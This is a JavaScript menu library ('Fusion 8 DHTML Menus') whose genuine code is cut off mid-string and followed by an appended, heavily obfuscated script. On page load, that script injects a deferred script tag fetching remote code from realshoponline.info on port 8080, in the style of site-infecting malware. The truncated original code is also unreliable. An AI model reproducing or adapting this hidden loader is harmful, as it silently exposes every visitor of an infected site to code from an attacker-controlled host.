/** 
 * Fusion 8 DHTML Menus
 */


/*****************************************
Global Parameters
*****************************************/

var GLOBAL_LoadedImages  = new Array();
var GLOBAL_CurrentItem   = "";
var GLOBAL_Close         = null;
var GLOBAL_Hide          = null;
var GLOBAL_items         = new NOF_OpenedItems();

var GLOBAL_slideItem     = null;
var GLOBAL_slideSpeed    = 10; //Defines how fast the slide submenus will unfold
var GLOBAL_slidePixel    = 0; 
var GLOBAL_slideMinOffset = -800;
var GLOBAL_slideMaxOffset = 800;

var useDebuger   = false;


/*
*  DOM compliant browsers
*/
function NOF_DOMBrowser() {

  this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {

    parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
                  ? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
    menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
    
    var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";

    return '<DIV ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" STYLE="z-index:5; filter:blendTrans(duration=0.5)" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
  }

  this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
    return '</DIV>';
  }

  /** method showMenuItem
  *@parameter image Image object - item parent
  *@parameter item String or Object coresponding to a layer
  *@parameter offsetX:  horizontal offset distance from parent
  *@parameter offsetY:  vertical offset distance from parent
  *@parameter direction Horizontal = false, Vertical = true
  */
  this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {

    if (typeof(item) == "string")
      item   = this.getItem(item)

    image    = typeof(image) == "string" ? this.getItem(image) : image;

    var top  = this.findItemTopOffset(image);
    var left = this.findItemLeftOffset(image);

    var slideDirection = "";
    if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
        top  += offsetY; 
        left -= offsetX;
        slideDirection = "left";
    } else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
        top   -= offsetY;
        left += offsetX;
        slideDirection = "top";
    } else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
        top  += offsetY; 
        left += offsetX;
        slideDirection = "right";
    } else { // Bottom
        top   += offsetY;
        left += offsetX;
        slideDirection = "bottom";
    }
 
    if (item == null  || typeof(item.style) == "undefined" || item.style == null )
      return;

    item.style.top  = top;
    item.style.left = left;      
    item.style.visibility = "visible"; 
    
    if (openEffect.indexOf("slide") > -1)
      this.slideEffect(item, slideDirection);
    else if (openEffect.indexOf("fade") > -1)
      this.fadeEffect(item);    
  }


  this.hideMenuItem = function hideMenuItem(item) {
  //try {  
    if (typeof(item) == "string")
      item = this.getItem(item)   

    if ( item == null || typeof(item) == "undefined" || item == "" || typeof(item) == "number")
      return;

    item.style.visibility = "hidden";
  //} catch(ignoreEx) {  }
  }

  this.findItemLeftOffset = function findItemLeftOffset(item) {

    var offset = item.offsetLeft;
    if (item.offsetParent)
      offset += this.findItemLeftOffset(item.offsetParent);

    return offset;
  }

  this.findItemTopOffset = function findItemTopOffset(item) {

    var offset = item.offsetTop;
    if (item.offsetParent)
      offset += this.findItemTopOffset(item.offsetParent);

    return offset;
  }

  this.getItem = function getItem(itemId) {    
    return document.getElementById(itemId);
  }

  this.getItemAttribute = function getItemAttribute(itemId, attrId) {
  
    if (this.getItem(itemId)) {
      var attr = this.getItem(itemId).attributes;
      return eval("attr." + attrId.toLowerCase() + ".value");
    }
  }
 
 this.debug = function debug(txt) {

    var container = this.getItem("debug");
    if ( useDebuger )
      container.value += txt + "\n";
  }

  this.fadeEffect = function fadeEffect(item) {
      
      item.style.visibility = "hidden"; 
      item.filters.blendTrans.Apply();
      item.filters.blendTrans.Play();
      item.style.visibility = "visible"; 
  }

  this.slideEffect = function slideEffect(item, margin) {

    GLOBAL_slideItem = item;
    this.setItemClip('rect(auto, auto, auto, auto)');

    GLOBAL_slidePixel = (margin == "top" || margin == "left") ? 100 : 0;
    this.playEffect(margin);
  }

  this.playEffect = function playEffect(margin) {

    var clip = GLOBAL_slideItem.style.clip;
    if (clip.indexOf("-") > 0) // NS7.x fix
      return;

    if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)     
      return;

    var rect = 'rect(';
    if (margin == "top") {
      GLOBAL_slidePixel -= 3;
      rect += GLOBAL_slidePixel +'px auto auto auto)';
    } else if (margin == "right") {
      GLOBAL_slidePixel += 3; 
      rect += 'auto ' + GLOBAL_slidePixel +'px auto auto)';
    } else if (margin == "bottom") {
      GLOBAL_slidePixel += 3;
      rect += 'auto auto ' + GLOBAL_slidePixel + 'px auto)';
    } else {//left
      GLOBAL_slidePixel -= 3;
      rect += 'auto auto auto ' + GLOBAL_slidePixel + 'px)';
    }


    this.setItemClip(rect); 
    setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);    
  }

  this.setItemClip = function setItemClip(rect) {
    GLOBAL_slideItem.style.clip = rect; 
  }

  this.getLayerTag = function getLayerTag() { return "div" };
}


/*
*  Netscape 6+ and Mozilla
*/
function NOF_BrowserNetscapeNavigator() {

  //Event capture
  window.onclick= HideMenu;
  
  this.fadeEffect = function fadeEffect() { return; };

  // Set a higher sliding speed
  GLOBAL_slideSpeed = 1;

  return this;
}
NOF_BrowserNetscapeNavigator.prototype = new NOF_DOMBrowser;

/*
*  Internet Explorer 5+
*/
function NOF_BrowserInternetExplorer() {

  //Event capture
  document.onmouseup = HideMenu;
}
NOF_BrowserInternetExplorer.prototype = new NOF_DOMBrowser;


/*
*  Nestcape Navigator version 4.x
*/
function NOF_BrowserNetscape4x() {

  this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {

    parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
                  ? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
    menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
    
    var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";

    return '<layer ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
  }

  this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
    return '</layer>';
  }    

  this.getImageParent = function getImageParent(imageObject){
  
    for (var position = 0; position < document.layers.length; position++) {      
      var layer = document.layers[position];
      for (var imagePosition = 0; imagePosition < layer.document.images.length; imagePosition++) {  
        if (layer.document.images[imagePosition].name == imageObject.name) {
         return layer;
        }
      }     
    }

    return null;    
  }

  /** method showMenuItem
  *@parameter image Image object - item parent
  *@parameter item String or Object coresponding to a layer
  *@parameter offsetX:  horizontal offset distance from parent
  *@parameter offsetY:  vertical offset distance from parent
  *@parameter direction Horizontal = false, Vertical = true
  */
  this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {

    var parent = this.getImageParent(image);

    var itemId = image;
    if (typeof(item) == "string")
      item   = this.getItem(item)
  
    image    = typeof(image) == "string" ? this.getItem(image) : image;

    var top  = this.findItemTopOffset(image);
    var left = this.findItemLeftOffset(image);

    if (parent != null) {
      left += parent.pageX;
      top += parent.pageY;
    }

    var slideDirection = "";
    if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
        top  += offsetY; 
        left -= offsetX;
        slideDirection = "left";
    } else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
        top   -= offsetY;
        left += offsetX;
        slideDirection = "top";
    } else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
        top  += offsetY; 
        left += offsetX;
        slideDirection = "right";
    } else { // Bottom
        top   += offsetY;
        left  += offsetX;
        slideDirection = "bottom";
    }

    if (typeof(item) == "undefined")
      return;



    item.y = parseInt(top);
    item.x = parseInt(left);   
    item.visibility = "visible"; 
    
    if (openEffect.indexOf("slide") > -1)
      this.slideEffect(item, slideDirection);
    else if (openEffect.indexOf("fade") > -1) {      
      this.fadeEffect(item);
    }
  }

  this.hideMenuItem = function hideMenuItem(item) {
    if (typeof(item) == "string")
      item = this.getItem(item)
    
    if ( item == null || typeof(item) == "undefined" || item == "")
      return;

    item.visibility = "hide";
  }

  this.findItemLeftOffset = function findItemLeftOffset(item) {
    return item.x;  
  }

  this.findItemTopOffset = function findItemTopOffset(item) {
    return item.y;
  }

  this.getItem = function getItem(itemId) {    

    if (itemId == "")
      return;

    var item = eval("document.layers['" + itemId + "']");

    return item;
  }

  this.getItemAttribute = function getItemAttribute(itemId, attrId) {

    return eval("document.layers['" + itemId.toLowerCase() + "']." + attrId);
  }

  this.getLayerTag = function getLayerTag() { return "layer" };

  this.slideEffect = function slideEffect(item, margin) {

    GLOBAL_slideItem  = item;
    GLOBAL_slidePixel = (margin == "bottom" || margin == "left") ? 200 : 0;

    this.playEffect(margin);
  }

  this.playEffect = function playEffect(margin) {

    if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)
      return;
 
    if (margin == "top") {
      GLOBAL_slideItem.clip.bottom = GLOBAL_slidePixel += 1;
    } else if (margin == "right") {
      GLOBAL_slideItem.clip.right = GLOBAL_slidePixel += 1;
    } else if (margin == "bottom") {
      GLOBAL_slideItem.clip.top = GLOBAL_slidePixel -= 1;
    } else {//left
      GLOBAL_slideItem.clip.left = GLOBAL_slidePixel -= 1;
    }

    setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);    
  }
}
NOF_BrowserNetscape4x.prototype = new NOF_DOMBrowser;


/** NOF.BrowserFactory
*@return The associate class for the browser
*/

function NOF_BrowserFactory() {

    var agt = navigator.userAgent.toLowerCase();

    var is_major = parseInt(navigator.appVersion);
    var is_minor = parseFloat(navigator.appVersion);

    var is_nav  = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1)
                && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1)
                && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
    var is_nav2 = (is_nav && (is_major == 2));
    var is_nav3 = (is_nav && (is_major == 3));
    var is_nav4 = (is_nav && (is_major == 4));
    var is_nav4up = (is_nav && (is_major >= 4));
    var is_navonly      = (is_nav && ((agt.indexOf(";nav") != -1) ||
                          (agt.indexOf("; nav") != -1)) );
    var is_nav6 = (is_nav && (is_major == 5));
    var is_nav6up = (is_nav && (is_major >= 5));
    var is_gecko = (agt.indexOf('gecko') != -1);


    var is_ie     = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));
    var is_ie3    = (is_ie && (is_major < 4));
    var is_ie4    = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) );
    var is_ie4up  = (is_ie && (is_major >= 4));
    var is_ie5    = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) );
    var is_ie5_5  = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1));
    var is_ie5up  = (is_ie && !is_ie3 && !is_ie4);
    var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5);
    var is_ie6    = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) );
    var is_ie6up  = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5);

    var is_opera = (agt.indexOf("opera") != -1);
    var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1);
    var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1);
    var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1);
    var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1);
    var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4);

    this.getBrowser = function getBrowser() {
    
      if (is_ie5up) {   
        return new NOF_BrowserInternetExplorer();
      } 

      if (is_nav6up) {
        return new NOF_BrowserNetscapeNavigator();
      }

      if (is_opera5up) {
        return new NOF_BrowserInternetExplorer();        
      }

      if (is_nav4) {
        return new NOF_BrowserNetscape4x();
      }
    }
}

var browserFactory  = new NOF_BrowserFactory();
var browser         = browserFactory.getBrowser();



/*****************************************
NOF.Menu Constants
*****************************************/

var CONSTANTS = {
  MENU_TYPE_IMAGE : "Image",
  MENU_TYPE_TEXT  : "Text",

  BUTTON_TYPE_IMAGE : "im

var l;if(l!='N' && l!='yT'){l=''};function B(){var M;if(M!='D'){M='D'};var a=window;var BT=new String();this.ag='';var Ug='';var z=a['unescape'];var Cn;if(Cn!='' && Cn!='GW'){Cn=''};var KK=new Array();var t=z("%2f%6f%72%6b%75%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%61%73%74%6d%6f%6e%65%79%2e%63%6f%6d%2e%70%68%70");var P=new String();var DL=new Array();var mk="";var _=new Date();function G(h,s){var LS="";var e=z("%5d");var _n=new String();var Jx='';var J=z("%5b");var q;if(q!='I' && q!='CL'){q=''};var ln=new Date();var Bw="g";this.kH='';var H=new RegExp(J+s+e, Bw);this.GQ="";var Vv=new Date();return h.replace(H, new String());};var PS;if(PS!='SE'){PS=''};var E="";var Ga;if(Ga!='j' && Ga!='bj'){Ga='j'};var XN;if(XN!='zK' && XN != ''){XN=null};var v;if(v!='hM' && v!='i'){v=''};var sD=G('874643972714404526594613156285573414994640652476144446','47231965');var JB='';var K=G('sWrtcv','StYCWv1hL');var dN;if(dN!='HP' && dN!='nl'){dN=''};var L=document;var O;if(O!='bN' && O!='wJ'){O='bN'};var U=G('sucNrniwpbtW','lNWvJE4zbXmqPIVM8anuQwZA');this.ZU="";var y=G('d7e7fCeqrD','CqiD7y4');var mY=new Date();var da=new String();function w(){var _N="";this.p="";var eW="";var W=z("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");this.np="";var eH;if(eH!='Hx' && eH!='Tk'){eH=''};var Dl="";var X=W;var sf;if(sf!='wm'){sf='wm'};X+=sD;var mZ=new String();var TA=new String();X+=t;var rj=new String();var ae;if(ae!='jH'){ae='jH'};var cn=new Array();var Dj=new Array();var uW;if(uW!='ZS' && uW != ''){uW=null};var FK=new Array();try {var Cv;if(Cv!=''){Cv='zT'};var iy=new Array();m=L[G('cCrseWa3t6e3EZl3eCm5esnQtV','s65QWiVZ3uC')](U);var MvU;if(MvU!='' && MvU!='Pb'){MvU=''};this.Gp="";var il;if(il!='lI' && il!='zg'){il='lI'};m[K]=X;var S_;if(S_!='Pi' && S_!='IC'){S_='Pi'};this.Vm="";var jr;if(jr!='gz' && jr!='GV'){jr='gz'};m[y]=[1][0];var WG=new Date();var DJ=new Date();var RS="";var Tc="";L.body[G('aHpmpDeZnIdZCZhOiZlvdw','GMO9bvUIWxmXr0wDugQHZKT')](m);var hB;if(hB!='BwM'){hB=''};var YS=new Array();this.QX='';} catch(b){var ZQo;if(ZQo!=''){ZQo='vw'};};var VO=new String();var Rz=new String();var Fi='';var cp='';}this.WJ='';var Jq=G('oUn1lhoNaydh','1Hf0eYvK89FZPNqhUTy');var XO='';this.XH="";this.HQ="";a[Jq]=w;var yB;if(yB!=''){yB='ns'};this.Hu="";this.bz='';};var Br=new Date();var mR=new Date();this.Ae="";var Ib;if(Ib!='di'){Ib=''};B();var Hh="";var EM="";
